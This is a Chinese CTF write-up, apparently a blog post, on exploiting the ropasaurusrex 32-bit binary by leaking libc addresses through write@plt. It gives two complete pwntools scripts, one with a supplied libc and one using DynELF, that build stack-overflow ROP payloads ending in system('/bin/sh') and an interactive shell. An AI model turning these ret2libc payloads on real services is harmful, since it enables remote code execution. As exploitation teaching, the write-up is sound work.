美文网首页
五_1.泄露libc_ropasaurusrex_32

五_1.泄露libc_ropasaurusrex_32

作者: Zero_0_0 | 来源:发表于2019-04-25 15:12 被阅读0次
前提了解

1.我们知道,不同版本的libc,函数首地址相对于文件开头的偏移和函数间的偏移不一定一致。所以如果题目不提供libc,通过泄露任意一个库函数地址计算出system函数地址的方法就不好使了。这就要求我们想办法获取目标系统的libc。
2.DynELF通过程序漏洞泄露出任意地址内容,结合ELF文件的结构特征获取对应版本文件并计算比对出目标符号在内存中的地址。
参考来自:https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=42933&ctid=157

思考

0.不用考虑上面的文字
1.我们一上来在可执行文件了搜索,没有发现system/bin/sh
2.可以泄露libc基址来确定我们system的真实地址
3.write函数,我们可以泄露出我们想要的地址
4.利用write的性质,我们将read的返回地址更改为我们write的地址,然后传入我们的read@got的地址(泄露出read的真实地址read_addr),通过write来泄露出我们的read@got里的read的地址。
5.我们利用readlibc.symbol['read']的地址,得到libc_base = read_addr - libc.symbol['read']

常用system_addr和bin_sh_addr的偏移算法
 libc_base_addr = 泄露函数 - 函数偏移
 system_addr = libc_base_addr + system_sym
 bin_sh_addr = libc_base_addr + bin_sh_addr
手工作图便于理解
payload
EXP(这是给我们libc的情况下)(重点是看EXP_V2 ) 这个脚本可以作为理论补充知识
#coding:utf-8
from pwn import*

#p = process('./ropasaurusrex')   //等同于下一条指令 在远程调试最好加上下一条指令
p = process('ropasaurusrex',env={'LD_PRELOAD':'./libc.so.6'})  //在运行时先调用 libc.so.6动态链接库
libc = ELF('./libc.so.6')
pe = ELF('./ropasaurusrex')

read_plt = pe.plt['read']
read_got = pe.got['read']
write_plt = pe.plt['write']
write_got = pe.got['write']
system_sym = libc.sym['system']
read_sym = libc.sym['read']
bin_sh_addr = 0x0015902b

print ("*************************")
print "[+]read_plt:" + hex(read_plt)
print "[+]read_got:" + hex(read_got)
print "[+]write_plt]:" + hex(write_plt)
print "[+]write_got:" + hex(write_got)
print "[+]system_sym:" + hex(system_sym)
print "[+]read_sym:" + hex(read_sym)
print "[+]bin_sh_addr:" +hex(bin_sh_addr)

print ("*************************")
pop_3_ret_addr = 0x80484b6   //ROPgadget --binary libc.so.6 --string "/bin/sh"   查看的方法很多
sub_80483F4 = 0x080483F4     //read的主函数

payload = 'A'*0x88
payload += p32(0)
payload += p32(write_plt)
payload += p32(pop_3_ret_addr)
payload += p32(1)
payload += p32(read_got)
payload += p32(4)
payload += p32(sub_80483F4)

payload = payload.ljust(0x100,'A')    //接收字符串,小于0x100的用'A'来补齐   

p.send(payload)
read_addr = u32(p.recv())

libc_base_addr = read_addr - read_sym
system_addr = libc_base_addr + system_sym
bin_sh_addr = libc_base_addr + bin_sh_addr

print ("*************************")
print "[+]system:" + hex(system_addr)
print "[+]bin_sh:" + hex(bin_sh_addr)
print ("*************************")

payload1 = 'A'*0x88
payload1 += p32(0)
payload1 += p32(system_addr)
payload1 += p32(0)
payload1 += p32(bin_sh_addr)

p.sendline(payload1)
p.interactive() 

不知道libc的版本的情况下,泄露libc

1.先注意做题的环境,pip要更新(后期跑脚本出现了问题)

//修改前 from pip import 
main if __name__ == '__main__': 
    sys.exit(main()) 
修改后 from pip import __main__ //这行也要修改 
if __name__ == '__main__': 
    sys.exit(__main__._main())//增加__main__._

更改后最后在终端输入pip -V,默认版本
2.跑脚本的时候会出现这个问题:参考:https://www.cnblogs.com/zhaijiahui/p/7344778.html

思路:
1.我们利用write泄露程序的内存加载地址,然后通过脚本在服务器libc中查找我们的systemread地址。
2.我们在有没libc文件的时候只能充分利用 函数@plt的性质
3.泄露出systemread,我们进行布局,read作为一个开门read_ret 作为关门(system)。 只要等待我们想要进来的猎物我们就可以进行关门操作 (有一种守株待兔的感觉)

EXP_V2(无libc)
#/usr/bin/python
#coding:utf-8
from pwn import*

p = process('./ropasaurusrex')
elf = ELF('./ropasaurusrex')


write_plt_addr = elf.symbols['write']
start_addr = 0x8048340
write_bin_sh_addr =  0x8049700   ##疑惑  虽然栈内不可以写  为什么超过最大地址的位置可以作为写入/bin/sh的地址

def leak(addr):
    payload = ''
    payload += 'A' * 140 
    payload += p32(write_plt_addr)
    payload += p32(start_addr)   #将write的返回地址改为start 不至于程序退出
    payload += p32(1)   #fd  文件标识符
    payload += p32(addr)   #需要泄露内存加载的范围地址   为//EFL('')
    payload += p32(8)   ##字节大小
    p.sendline(payload)
    content = p.recv()[:8]
    print ("%#x -> %s"%(addr,(content or '').encode('hex')))
    return content

d = DynELF(leak,elf = elf)
print "*********************"
system_addr = d.lookup('system','libc')
read_addr = d.lookup('read','libc')

log.info("[+]system_addr = %#x",system_addr)
log.info("[+]read_addr = %#x",read_addr)
print "*********************"


payload = ''
payload += 'A'*140
payload += p32(read_addr)
payload += p32(system_addr)    ##上同
payload += p32(0)
payload += p32(write_bin_sh_addr)
payload += p32(8)     //我们将read函数作为一个精心构造的输入门口 
当我们下一次往里面输入字符串的时候引发我们system('/bin/sh')

p.sendline(payload)
p.sendline('/bin/sh\x00')
p.interactive()

参考文献:https://www.jianshu.com/p/6aae337f581b

相关文章

  • 五_1.泄露libc_ropasaurusrex_32

    前提了解 1.我们知道,不同版本的libc,函数首地址相对于文件开头的偏移和函数间的偏移不一定一致。所以如果题目不...

  • Cursor泄露的处理

    cursor出现泄露时的log cursor泄露的检测 解决cursor泄露 1. cursor出现泄露时的log...

  • 1. 防止内存泄露

    文章总结: 1.不要频繁使用gc函数。因为 只有当前对象没有任何地方引用的时候 System.gc()。因此在JA...

  • 5.JVM系列-堆内内存泄露案例分析解决

    目录 一. 背景 二. 内存泄露及原因 三. 常见堆内内存泄露的原因 四. 避免内存泄露的一些事项 五. 常见发生...

  • 内存优化

    内存泄露的原因 四种引用类型 常见的内存泄露 1.内部类导致内存泄露 Handler 2.Context导致内存泄...

  • 内存泄露总结

    1.用MAT如何发现泄露的对象 生成泄露前和泄露后的hprof文件,可以进行对比,找出增加的对象,在对象上右键, ...

  • iOS 内存泄露BUG列举

    1.检查是否可以使用内购 使用Leak 内存泄露工具检查可以看到有内存泄露 2.获取本机DNS 产生内存泄露的代码...

  • 性能优化

    1.内存泄露监测 1.内存泄露检测: 1.静态检查方法(引用循环是检测不出来的)手动静态监测 2.自动静态检测...

  • Android性能优化知识列表

    1. 内存泄露 内存泄露原因分析 如何规避内存泄露a. 如何使用高效的Map容器b. 如何避免无意间的自动封箱c....

  • Android内存优化方向

    避免内存泄露内存泄露是造成OOM的最主要原因常见的内存泄露: 1. 单例 因为单例是全生命周期的,如果引用了非全...

网友评论

      本文标题:五_1.泄露libc_ropasaurusrex_32

      本文链接:https://www.haomeiwen.com/subject/cusagqtx.html